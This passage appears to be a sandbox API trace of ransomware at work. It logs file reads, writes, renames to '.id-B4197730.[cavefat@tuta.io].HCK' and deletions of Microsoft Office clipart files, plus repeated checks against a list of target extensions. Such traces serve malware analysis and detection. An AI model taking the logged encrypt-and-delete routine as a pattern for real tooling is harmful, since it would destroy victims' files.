office\\root\\clipart\\pub60cor\\ph03143i.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.060] GetLastError () returned 0x0 [0180.060] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7450, lpOverlapped=0x0) returned 1 [0180.061] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7460, lpOverlapped=0x0) returned 1 [0180.062] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.062] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.062] SetEndOfFile (hFile=0x300) returned 1 [0180.063] CloseHandle (hObject=0x300) returned 1 [0180.064] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.064] SetEndOfFile (hFile=0x2fc) returned 1 [0180.069] CloseHandle (hObject=0x2fc) returned 1 [0180.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03143i.jpg")) returned 1 [0180.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG") returned 68 [0180.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG") returned 68 [0180.076] lstrlenW (lpString=".doc") returned 4 [0180.076] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0180.076] lstrlenW (lpString=".docx") returned 5 [0180.076] lstrcmpiW (lpString1=".docx", lpString2="I.JPG") returned -1 [0180.076] lstrlenW (lpString=".pdf") returned 4 [0180.076] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0180.076] lstrlenW (lpString=".xls") returned 4 [0180.076] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0180.076] lstrlenW (lpString=".xlsx") returned 5 [0180.076] lstrcmpiW (lpString1=".xlsx", lpString2="I.JPG") returned -1 [0180.076] lstrlenW (lpString=".ppt") returned 4 [0180.076] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0180.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG") returned 68 [0180.076] lstrlenW (lpString=".zip") returned 4 [0180.076] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0180.076] lstrlenW (lpString=".rar") returned 4 [0180.076] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0180.076] lstrlenW (lpString=".bz2") returned 4 [0180.076] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0180.076] lstrlenW (lpString=".7z") returned 3 [0180.076] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0180.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG") returned 68 [0180.076] lstrlenW (lpString=".dbf") returned 4 [0180.076] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0180.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG") returned 68 [0180.076] lstrlenW (lpString=".1cd") returned 4 [0180.076] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0180.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG") returned 68 [0180.076] lstrlenW (lpString=".jpg") returned 4 [0180.076] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0180.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG") returned 68 [0180.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG") returned 68 [0180.077] lstrlenW (lpString=".doc") returned 4 [0180.077] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0180.077] lstrlenW (lpString=".docx") returned 5 [0180.077] lstrcmpiW (lpString1=".docx", lpString2="I.JPG") returned -1 [0180.077] lstrlenW (lpString=".pdf") returned 4 [0180.077] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0180.077] lstrlenW (lpString=".xls") returned 4 [0180.077] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0180.077] lstrlenW (lpString=".xlsx") returned 5 [0180.077] lstrcmpiW (lpString1=".xlsx", lpString2="I.JPG") returned -1 [0180.077] lstrlenW (lpString=".ppt") returned 4 [0180.077] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0180.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG") returned 68 [0180.077] lstrlenW (lpString=".zip") returned 4 [0180.077] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0180.077] lstrlenW (lpString=".rar") returned 4 [0180.077] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0180.077] lstrlenW (lpString=".bz2") returned 4 [0180.077] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0180.077] lstrlenW (lpString=".7z") returned 3 [0180.077] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0180.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG") returned 68 [0180.077] lstrlenW (lpString=".dbf") returned 4 [0180.077] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0180.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG") returned 68 [0180.077] lstrlenW (lpString=".1cd") returned 4 [0180.077] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0180.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG") returned 68 [0180.077] lstrlenW (lpString=".jpg") returned 4 [0180.077] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0180.077] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0180.077] lstrlenW (lpString="PH03380I.JPG") returned 12 [0180.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03380i.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.086] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=12831) returned 1 [0180.086] CloseHandle (hObject=0x39c) returned 1 [0180.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03380i.jpg")) returned 0x220 [0180.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03380i.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03380i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.090] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.090] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03380i.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.092] GetLastError () returned 0x0 [0180.092] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x321f, lpOverlapped=0x0) returned 1 [0180.093] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3220, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3220, lpOverlapped=0x0) returned 1 [0180.094] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.094] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.095] SetEndOfFile (hFile=0x39c) returned 1 [0180.096] CloseHandle (hObject=0x39c) returned 1 [0180.097] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.097] SetEndOfFile (hFile=0x2fc) returned 1 [0180.100] CloseHandle (hObject=0x2fc) returned 1 [0180.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03380i.jpg")) returned 1 [0180.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG") returned 68 [0180.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG") returned 68 [0180.104] lstrlenW (lpString=".doc") returned 4 [0180.104] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0180.104] lstrlenW (lpString=".docx") returned 5 [0180.104] lstrcmpiW (lpString1=".docx", lpString2="I.JPG") returned -1 [0180.104] lstrlenW (lpString=".pdf") returned 4 [0180.104] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0180.104] lstrlenW (lpString=".xls") returned 4 [0180.104] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0180.104] lstrlenW (lpString=".xlsx") returned 5 [0180.104] lstrcmpiW (lpString1=".xlsx", lpString2="I.JPG") returned -1 [0180.104] lstrlenW (lpString=".ppt") returned 4 [0180.104] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0180.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG") returned 68 [0180.104] lstrlenW (lpString=".zip") returned 4 [0180.104] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0180.104] lstrlenW (lpString=".rar") returned 4 [0180.104] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0180.104] lstrlenW (lpString=".bz2") returned 4 [0180.104] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0180.104] lstrlenW (lpString=".7z") returned 3 [0180.104] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0180.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG") returned 68 [0180.104] lstrlenW (lpString=".dbf") returned 4 [0180.104] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0180.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG") returned 68 [0180.104] lstrlenW (lpString=".1cd") returned 4 [0180.104] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0180.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG") returned 68 [0180.104] lstrlenW (lpString=".jpg") returned 4 [0180.104] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0180.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG") returned 68 [0180.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG") returned 68 [0180.104] lstrlenW (lpString=".doc") returned 4 [0180.105] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0180.105] lstrlenW (lpString=".docx") returned 5 [0180.105] lstrcmpiW (lpString1=".docx", lpString2="I.JPG") returned -1 [0180.105] lstrlenW (lpString=".pdf") returned 4 [0180.105] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0180.105] lstrlenW (lpString=".xls") returned 4 [0180.105] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0180.105] lstrlenW (lpString=".xlsx") returned 5 [0180.105] lstrcmpiW (lpString1=".xlsx", lpString2="I.JPG") returned -1 [0180.105] lstrlenW (lpString=".ppt") returned 4 [0180.105] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0180.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG") returned 68 [0180.105] lstrlenW (lpString=".zip") returned 4 [0180.105] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0180.105] lstrlenW (lpString=".rar") returned 4 [0180.105] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0180.105] lstrlenW (lpString=".bz2") returned 4 [0180.105] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0180.105] lstrlenW (lpString=".7z") returned 3 [0180.105] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0180.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG") returned 68 [0180.105] lstrlenW (lpString=".dbf") returned 4 [0180.105] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0180.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG") returned 68 [0180.105] lstrlenW (lpString=".1cd") returned 4 [0180.105] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0180.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG") returned 68 [0180.105] lstrlenW (lpString=".jpg") returned 4 [0180.105] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0180.105] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.105] lstrlenW (lpString="PSRETRO.WMF") returned 11 [0180.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\psretro.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.108] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=982) returned 1 [0180.108] CloseHandle (hObject=0x300) returned 1 [0180.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\psretro.wmf")) returned 0x220 [0180.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\psretro.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\psretro.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.116] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.116] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\psretro.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.118] GetLastError () returned 0x0 [0180.118] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x3d6, lpOverlapped=0x0) returned 1 [0180.121] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3e0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3e0, lpOverlapped=0x0) returned 1 [0180.121] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.121] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xea, lpOverlapped=0x0) returned 1 [0180.122] SetEndOfFile (hFile=0x300) returned 1 [0180.122] CloseHandle (hObject=0x300) returned 1 [0180.123] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.123] SetEndOfFile (hFile=0x368) returned 1 [0180.126] CloseHandle (hObject=0x368) returned 1 [0180.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\psretro.wmf")) returned 1 [0180.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF") returned 67 [0180.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF") returned 67 [0180.130] lstrlenW (lpString=".doc") returned 4 [0180.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.130] lstrlenW (lpString=".docx") returned 5 [0180.130] lstrcmpiW (lpString1=".docx", lpString2="O.WMF") returned -1 [0180.130] lstrlenW (lpString=".pdf") returned 4 [0180.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.130] lstrlenW (lpString=".xls") returned 4 [0180.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.130] lstrlenW (lpString=".xlsx") returned 5 [0180.130] lstrcmpiW (lpString1=".xlsx", lpString2="O.WMF") returned -1 [0180.130] lstrlenW (lpString=".ppt") returned 4 [0180.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF") returned 67 [0180.130] lstrlenW (lpString=".zip") returned 4 [0180.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.131] lstrlenW (lpString=".rar") returned 4 [0180.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.131] lstrlenW (lpString=".bz2") returned 4 [0180.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.131] lstrlenW (lpString=".7z") returned 3 [0180.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF") returned 67 [0180.131] lstrlenW (lpString=".dbf") returned 4 [0180.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF") returned 67 [0180.131] lstrlenW (lpString=".1cd") returned 4 [0180.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF") returned 67 [0180.131] lstrlenW (lpString=".jpg") returned 4 [0180.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF") returned 67 [0180.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF") returned 67 [0180.131] lstrlenW (lpString=".doc") returned 4 [0180.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.131] lstrlenW (lpString=".docx") returned 5 [0180.131] lstrcmpiW (lpString1=".docx", lpString2="O.WMF") returned -1 [0180.131] lstrlenW (lpString=".pdf") returned 4 [0180.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.131] lstrlenW (lpString=".xls") returned 4 [0180.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.131] lstrlenW (lpString=".xlsx") returned 5 [0180.131] lstrcmpiW (lpString1=".xlsx", lpString2="O.WMF") returned -1 [0180.131] lstrlenW (lpString=".ppt") returned 4 [0180.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF") returned 67 [0180.131] lstrlenW (lpString=".zip") returned 4 [0180.131] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.131] lstrlenW (lpString=".rar") returned 4 [0180.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.131] lstrlenW (lpString=".bz2") returned 4 [0180.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.131] lstrlenW (lpString=".7z") returned 3 [0180.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF") returned 67 [0180.131] lstrlenW (lpString=".dbf") returned 4 [0180.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF") returned 67 [0180.131] lstrlenW (lpString=".1cd") returned 4 [0180.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF") returned 67 [0180.132] lstrlenW (lpString=".jpg") returned 4 [0180.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.132] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.132] lstrlenW (lpString="RECYCLE.WMF") returned 11 [0180.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\recycle.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.135] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3350) returned 1 [0180.135] CloseHandle (hObject=0x370) returned 1 [0180.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\recycle.wmf")) returned 0x220 [0180.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\recycle.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\recycle.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.140] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.140] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\recycle.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.145] GetLastError () returned 0x0 [0180.145] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: 